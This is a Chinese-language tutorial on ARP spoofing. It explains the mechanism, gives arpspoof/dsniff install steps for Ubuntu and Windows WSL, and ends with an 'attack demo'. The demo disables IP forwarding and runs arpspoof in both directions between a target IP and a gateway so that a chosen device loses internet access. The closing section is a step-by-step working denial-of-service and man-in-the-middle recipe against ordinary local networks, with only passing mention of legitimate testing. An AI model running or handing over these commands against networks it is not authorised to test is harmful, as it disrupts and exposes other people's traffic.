内网攻击入门——使内网终端掉线

内网攻击入门——使内网终端掉线

ARP欺骗(ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。最早探讨ARP欺骗的文章是由Yuri Volobuev所写的《ARP与ICMP转向游戏》(ARP and ICMP redirection games)。

运作机制:ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行转送到真正的网关(被动式数据包嗅探,passive sniffing)或是篡改后再转送(中间人攻击,man-in-the-middle attack)。攻击者亦可将ARP数据包导到不存在的MAC地址以达到阻断服务攻击的效果,例如netcut软件。

举例:例如某一的IP地址是192.168.0.254,其MAC地址为00-11-22-33-44-55,网络上的计算机内ARP表会有这一笔ARP记录。攻击者发动攻击时,会大量发出已将192.168.0.254的MAC地址篡改为00-55-44-33-22-11的ARP数据包。那么网络上的计算机若将此伪造的ARP写入自身的ARP表后,计算机若要透过网上网关连到其他计算机时,数据包将被导到00-55-44-33-22-11这个MAC地址,因此攻击者可从此MAC地址截收到数据包,可篡改后再送回真正的网关,或是什么也不做,让网上无法连线。

简单案例分析:这里用一个最简单的案例来说明ARP欺骗的核心步骤。假设在一个LAN里,只有三台主机A、B、C,且C是攻击者。

  1. 攻击者聆听局域网上的MAC地址。它只要收到两台主机洪泛的ARP Request,就可以进行欺骗活动。
  2. 主机A、B都洪泛了ARP Request.攻击者现在有了两台主机的IP、MAC地址,开始攻击。
  3. 攻击者发送一个ARP Reply给主机B,把此包protocol header里的sender IP设为A的IP地址,sender mac设为攻击者自己的MAC地址。
  4. 主机B收到ARP Reply后,更新它的ARP表,把主机A的MAC地址(IP_A, MAC_A)改为(IP_A, MAC_C)。
  5. 当主机B要发送数据包给主机A时,它根据ARP表来封装数据包的Link报头,把目的MAC地址设为MAC_C,而非MAC_A。
  6. 当交换机收到B发送给A的数据包时,根据此包的目的MAC地址(MAC_C)而把数据包转发给攻击者C。
  7. 攻击者收到数据包后,可以把它存起来后再发送给A,达到偷听效果。攻击者也可以篡改数据后才发送数据包给A,造成伤害。

简介

arpspoof 是一个用于局域网ARP欺骗攻击(ARP spoofing)工具,它是 dsniff 工具包的一部分。ARP(地址解析协议)用于将IP地址解析为物理地址(MAC地址)。通过伪造ARP数据包,arpspoof可以将网络流量引导到攻击者的设备上,从而实现网络流量监控、截获和篡改。

基本功能

1、ARP欺骗arpspoof通过发送伪造的ARP回复数据包,使受害者设备将攻击者的MAC地址与目标IP地址关联,从而将流量引导到攻击者设备。

2、中间人攻击(MitM):使用arpspoof,攻击者可以在受害者和网关之间执行中间人攻击,拦截并修改数据包。

3、网络调试与测试:除了恶意用途,这个工具也可以用于网络调试和安全测试,以发现网络中的安全漏洞。

安装工具

arpspoof 工具在kali中已经默认安装了,下面将分别使用ubuntu系统和windows系统进行安装。

在Ubuntu中安装

在大多数基于Debian的Linux系统上,可以使用以下命令安装arpspoof

1
sudo apt-get install dsniff

在windows上安装

在Windows上,使用arpspoof命令并不像在Linux或macOS上那样直观,因为dsniff工具包并不本地支持Windows操作系统。但是,你可以利用虚拟机或者WSL(Windows Subsystem for Linux)来安装ubuntu子系统的方式来使用。

接下来我们尝试使用子系统的方式:

1、在windows的应用商店中搜索并安装第一个Ubuntu

图片

搜索Ubuntu系统

图片

安装Ubuntu

安装完成后如果点击打开出现跟下方一样的情况,则说明还需要操作一个步骤:

图片

打开出现错误

2、启用“适用于 Linux 的 Windows 子系统”。按照以下步骤进行操作:

(1) 打开控制面板
(2) 打开程序
(3) 找到启用或关闭Windows功能然后启用适用于 Linux 的 Windows 子系统

图片

启用并重启机器

重启后在cmd中输入ubuntu回车后,还是出现一开始的错误,则需要安装Linux内核的更新包:

1
https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi

安装完更新包之后就可以正常使用Linux子系统了。

3、在子系统中使用arpspoof之前我们需要对子系统进行初始化,首次访问ubuntu子系统时会要求我们创建一个用户和密码(密码在输入时是不会有任何显示的)。

图片

创建用户

然后输入下方的命令开始安装我们需要的工具:

1
2
sudo apt update
sudo apt install dsniff

图片

安装完成

攻击演示

你的目标是阻止某个设备连接互联网。所以,你需要知道该设备的IP地址以及网关的IP地址。

假设:

  • 目标设备IP:例如,192.168.1.100
  • 网关IP:例如,192.168.1.1

为了确保目标设备的流量不会通过你的系统进行中继,你需要禁用Linux系统的IPv4数据包转发功能,执行以下命令:

1
sudo sysctl -w net.ipv4.ip_forward=0

分别进行两个方向上的ARP欺骗:

1、欺骗目标设备,使其认为攻击者是网关:

1
sudo arpspoof -i <network_interface> -t <target_ip> <gateway_ip>

例如:

1
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

2、欺骗网关,使其认为攻击者是目标设备:

1
sudo arpspoof -i <network_interface> -t <gateway_ip> <target_ip>

例如:

1
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100